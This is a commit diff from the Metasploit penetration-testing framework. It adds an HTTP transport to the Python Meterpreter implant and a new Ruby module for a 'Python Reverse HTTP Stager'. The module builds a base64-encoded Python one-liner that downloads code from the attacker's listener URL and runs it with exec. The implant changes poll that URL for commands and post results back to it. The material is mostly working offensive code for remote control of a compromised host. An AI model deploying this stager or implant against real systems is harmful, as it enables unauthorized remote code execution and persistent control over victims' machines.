Skip to content

Commit 681ae8c

Browse files
committed
Pymet reverse_http stager basic implementation
1 parent 6b2387b commit 681ae8c

File tree

3 files changed

+132
-18
lines changed

3 files changed

+132
-18
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -60,9 +60,9 @@
6060
bytes = lambda *args: str(*args[:1])
6161
NULL_BYTE = '\x00'
6262
else:
63-
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
63+
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
6464
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
65-
str = lambda x: __builtins__['str'](x, 'UTF-8')
65+
str = lambda x: __builtins__.str(x, 'UTF-8')
6666
NULL_BYTE = bytes('\x00', 'UTF-8')
6767
long = int
6868

data/meterpreter/meterpreter.py

Lines changed: 66 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,10 @@
1919
has_windll = hasattr(ctypes, 'windll')
2020

2121
try:
22-
import urllib
22+
if sys.version_info[0] < 3:
23+
urlopen = __import__('urllib', fromlist=['urlopen']).urlopen
24+
else:
25+
urlopen = __import__('urllib.request', fromlist=['urlopen']).urlopen
2326
except ImportError:
2427
has_urllib = False
2528
else:
@@ -30,9 +33,11 @@
3033
bytes = lambda *args: str(*args[:1])
3134
NULL_BYTE = '\x00'
3235
else:
36+
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
3337
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
34-
str = lambda x: __builtins__['str'](x, 'UTF-8')
38+
str = lambda x: __builtins__.str(x, 'UTF-8')
3539
NULL_BYTE = bytes('\x00', 'UTF-8')
40+
long = int
3641

3742
#
3843
# Constants
@@ -294,13 +299,22 @@ def write(self, channel_data):
294299
class PythonMeterpreter(object):
295300
def __init__(self, socket=None):
296301
self.socket = socket
302+
self.driver = None
303+
self.running = False
304+
self.communications_active = True
305+
self.communications_last = 0
306+
if self.socket:
307+
self.driver = 'tcp'
308+
elif CONNECTION_URL:
309+
self.driver = 'http'
297310
self.extension_functions = {}
298311
self.channels = {}
299312
self.interact_channels = []
300313
self.processes = {}
301314
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
302315
self.extension_functions[func[1:]] = getattr(self, func)
303-
self.running = True
316+
if self.driver:
317+
self.running = True
304318

305319
def register_function(self, func):
306320
self.extension_functions[func.__name__] = func
@@ -327,25 +341,61 @@ def add_process(self, process):
327341
return idx
328342

329343
def get_packet(self):
330-
request = None
344+
packet = getattr(self, 'get_packet_' + self.driver)()
345+
self.communications_last = time.time()
346+
if packet:
347+
self.communications_active = True
348+
return packet
349+
350+
def send_packet(self, packet):
351+
getattr(self, 'send_packet_' + self.driver)(packet)
352+
self.communications_last = time.time()
353+
self.communications_active = True
354+
355+
def get_packet_http(self):
356+
packet = None
357+
try:
358+
url_h = urlopen(CONNECTION_URL, bytes('RECV', 'UTF-8'))
359+
packet = url_h.read()
360+
except:
361+
pass
362+
if packet:
363+
packet = packet[8:]
364+
else:
365+
packet = None
366+
return packet
367+
368+
def send_packet_http(self, packet):
369+
try:
370+
url_h = urlopen(CONNECTION_URL, packet)
371+
response = url_h.read()
372+
except:
373+
pass
374+
375+
def get_packet_tcp(self):
376+
packet = None
331377
if len(select.select([self.socket], [], [], 0.5)[0]):
332-
request = self.socket.recv(8)
333-
if len(request) != 8:
378+
packet = self.socket.recv(8)
379+
if len(packet) != 8:
334380
self.running = False
335381
return None
336-
req_length, req_type = struct.unpack('>II', request)
337-
req_length -= 8
338-
request = bytes()
339-
while len(request) < req_length:
340-
request += self.socket.recv(4096)
341-
return request
382+
pkt_length, pkt_type = struct.unpack('>II', packet)
383+
pkt_length -= 8
384+
packet = bytes()
385+
while len(packet) < pkt_length:
386+
packet += self.socket.recv(4096)
387+
return packet
342388

343-
def send_packet(self, response):
344-
self.socket.send(response)
389+
def send_packet_tcp(self, packet):
390+
self.socket.send(packet)
345391

346392
def run(self):
347393
while self.running:
348-
request = self.get_packet()
394+
request = None
395+
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
396+
self.communications_active = False
397+
if should_get_packet:
398+
request = self.get_packet()
349399
if request:
350400
response = self.create_response(request)
351401
self.send_packet(response)
@@ -565,7 +615,7 @@ def create_response(self, request):
565615
except OSError:
566616
pass
567617
if CONNECTION_URL and has_urllib:
568-
met = PythonMeterpreter(s)
618+
met = PythonMeterpreter()
569619
else:
570620
met = PythonMeterpreter(s)
571621
met.run()
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_http'
8+
9+
module Metasploit3
10+
11+
include Msf::Payload::Stager
12+
13+
def initialize(info = {})
14+
super(merge_info(info,
15+
'Name' => 'Python Reverse HTTP Stager',
16+
'Description' => 'Tunnel communication over HTTP',
17+
'Author' => 'Spencer McIntyre',
18+
'License' => MSF_LICENSE,
19+
'Platform' => 'python',
20+
'Arch' => ARCH_PYTHON,
21+
'Handler' => Msf::Handler::ReverseHttp,
22+
'Convention' => 'http',
23+
'Stager' => {'Payload' => ""}
24+
))
25+
end
26+
27+
#
28+
# Do not transmit the stage over the connection. We handle this via HTTPS
29+
#
30+
def stage_over_connection?
31+
false
32+
end
33+
34+
#
35+
# Constructs the payload
36+
#
37+
def generate
38+
lhost = datastore['LHOST'] || Rex::Socket.source_address
39+
40+
target_url = 'http://'
41+
target_url << lhost
42+
target_url << ':'
43+
target_url << datastore['LPORT'].to_s
44+
target_url << '/'
45+
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
46+
47+
cmd = "import sys\n"
48+
cmd << "exec(__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=['urlopen']).urlopen('#{target_url}').read())\n"
49+
50+
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
51+
b64_stub = "import base64,sys;exec(base64.b64decode("
52+
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
53+
b64_stub << Rex::Text.encode_base64(cmd)
54+
b64_stub << "')))"
55+
return b64_stub
56+
end
57+
58+
#
59+
# Always wait at least 20 seconds for this payload (due to staging delays)
60+
#
61+
def wfs_delay
62+
20
63+
end
64+
end

0 commit comments

Comments
 (0)